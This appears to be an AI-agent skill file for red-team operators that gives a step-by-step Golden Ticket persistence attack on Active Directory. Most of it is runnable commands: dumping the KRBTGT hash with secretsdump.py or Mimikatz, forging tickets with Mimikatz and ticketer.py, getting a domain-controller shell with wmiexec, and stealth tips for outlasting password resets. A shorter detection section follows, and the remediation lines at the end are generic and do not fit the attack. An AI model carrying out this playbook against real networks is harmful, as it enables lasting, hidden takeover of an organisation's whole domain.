Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achieved, simulating an Advanced Persistent Threat (APT) establishing deep persistence that survives password resets.
インストール
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Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achieved, simulating an Advanced Persistent Threat (APT) establishing deep persistence that survives password resets.
After fully compromising an Active Directory domain (Domain Admin privileges achieved).
To maintain long-term, stealthy access (Persistence) to a network during prolonged Red Team ops.
To simulate high-end APT behaviors (e.g., APT29/Cozy Bear, SolarWinds breach).
When you foresee the blue team discovering your current access and resetting traditional passwords.
Prerequisites
Administrative or SYSTEM-level access on the target Windows/Linux host
Understanding of the target's monitoring posture (Sysmon, EDR coverage)
C2 framework beacon or payload ready for deployment
Cleanup procedure documented before persistence is established
Workflow
Phase 1: Obtaining the KRBTGT Hash (The Keys to the Kingdom)
# Concept: In Active Directory, the KRBTGT account is a disabled, built-in account responsible # for mathematically signing and encrypting all Kerberos TGT tickets.# If we steal this account's NTLM Hash or AES key, we can theoretically sign our OWN tickets # that the Domain Controllers will blindly accept as valid.# Method 1: DCSync over the network (Loudest, but easiest)# From a machine with Domain Admin privileges (via Impacket/Linux)
secretsdump.py CORP.LOCAL/AdminUser:Password@10.10.10.5 -just-dc-user krbtgt
# Method 2: Local extraction via Mimikatz (Requires RDP/Shell to the Domain Controller)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt# Resulting Requirement: You MUST securely record the following:# 1. Domain Name (e.g., CORP.LOCAL)# 2. Domain SID (e.g., S-1-5-21-29177196-1896752002-3652875151) -> Strip off the trailing -500# 3. KRBTGT NTLM Hash (e.g., e0137ce52e935a82229dc47bc230f81d)# Or better: KRBTGT AES256 Key (Much stealthier, harder for EDR to spot)
Phase 2: Forging the Golden Ticket (Windows / Mimikatz)
# Concept: We now leave the domain controller. You can go to a completely unprivileged # workstation, or even a non-domain joined machine passing traffic in, and forge a ticket.# 1. Open Mimikatz on any Windows endpoint
mimikatz # privilege::debug# 2. Construct the purely forged ticket. Note: We assign ourselves the RID 500 (Built-in Administrator) # and give it a valid Active Directory group of Domain Admins (512).
mimikatz # kerberos::golden /user:FakeUser /domain:CORP.LOCAL /sid:S-1-5-21-29177196-1896752002-3652875151 /krbtgt:e0137ce52e935a82229dc47bc230f81d /id:500 /groups:512,513,518,519,520 /ptt# Note on OPSEC: Passing `/ptt` automatically injects the forged ticket into the current memory session.# If you pass a filename (`/ticket:golden.kirbi`), it saves it to disk for later use.# 3. Verify the ticket is in memory
klist
# 4. Access Domain Controller C$ drive as the non-existent 'FakeUser'dir \\dc01.corp.local\C$
# SUCCESS: Total Domain Dominance achieved.
Phase 3: Forging the Golden Ticket (Linux / Impacket)
# Concept: Forge the ticket from your external Linux attack box.# 1. Use ticketer.py to craft the Golden Ticket and save it as a .ccache file
ticketer.py -nthash e0137ce52e935a82229dc47bc230f81d -domain-sid S-1-5-21-29177196-1896752002-3652875151 -domain CORP.LOCAL FakeUser
# 2. Export the ticket variable so Impacket tools use itexport KRB5CCNAME=/path/to/FakeUser.ccache
# 3. Gain a high-privilege shell on the Domain Controller
impacket-wmiexec -k -no-pass dc01.corp.local
Phase 4: Exploiting the Persistence
# Why is this so dangerous?# 1. It operates independently of standard passwords. If the blue team realizes they are breached # and forces a global password reset for all Domain Admins, YOUR TICKET STILL WORKS.# 2. The ticket is valid. Standard logging does not block it.# 3. By default, MS allows TGTs to live for 10 hours, but a Golden Ticket can be forged to easily # last 10 YEARS (Mimikatz default).# Golden Ticket vs Silver Ticket:# Golden = Forged TGT signed by KRBTGT (Access to entire domain).# Silver = Forged TGS signed by a specific Service Account Hash (Access ONLY to that specific mapped service, e.g., MSSQL/CIFS).
🔵 Blue Team Detection & Defense
The Golden Rule: Protect Domain Admin credentials at all costs. An attacker cannot execute a Golden Ticket attack without first obtaining Domain Admin parity to dump the krbtgt hash.
Double KRBTGT Password Reset: The ONLY way to invalidate an active Golden Ticket after a breach is discovered is to reset the krbtgt account password TWICE (because AD retains the N-1 historical hash for replication). There are specialized Microsoft scripts to do this safely without breaking active sessions.
Anomaly Detection:
Alert on Kerberos tickets issued with a lifespan exceeding 10 hours (or your domain default).
Alert on Kerberos tickets assigned to usernames that do not exist in Active Directory (e.g., "FakeUser").
Alert on TGS requests encrypted with RC4 (NTLM) instead of AES256 if your domain strictly enforces AES. This is why using the AES256 key in Phase 1 is stealthier for attackers.
EDR Detection: Alert on secretsdump.py behavioral patterns (remote registry reading of SAM/SYSTEM/SECURITY hives followed by DRSUAPI RPC calls - DCSync).
Key Concepts
Concept
Description
KRBTGT
A default Active Directory account used as a secret key service for encrypting Kerberos Ticket Granting Tickets (TGTs)
DCSync
A technique to impersonate a Domain Controller to request credential replication (password hashes) from another DC
TGT
Ticket Granting Ticket; provides proof of identity allowing the user to request tickets to access other services
OPSEC
Operational Security; attempting to forge the ticket in a manner that blends in with legitimate traffic (e.g., avoiding hardcoded 10-year lifespans)
Output Format
Red Team Persistence Action Report
==================================
Execution Vector: T1558.001 (Golden Ticket Forgery)
Prerequisite Achieved: DA compromise; KRBTGT AES256 keys successfully requested via DRSUAPI (DCSync) on DC02.
Execution Details:
- Golden ticket crafted offline via Linux (ticketer.py).
- Forgery Parameters: Standard 10-hour lifespan requested to evade long-lifespan EDR detections. Username bound to standard Helpdesk user (j.smith) embedded with Domain Admin (RID 512).
- Injection: Ticket passed (PtT) into Impacket session.
Validation:
Persistence verified 48 hours later. Blue team forced password rotation, but offline Golden Ticket effectively bypassed password validations, retaining unrestricted WMI access to primary domain controllers.
🛡️ Remediation & Mitigation Strategy
Input Validation: Sanitize and strictly type-check all inputs.
Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
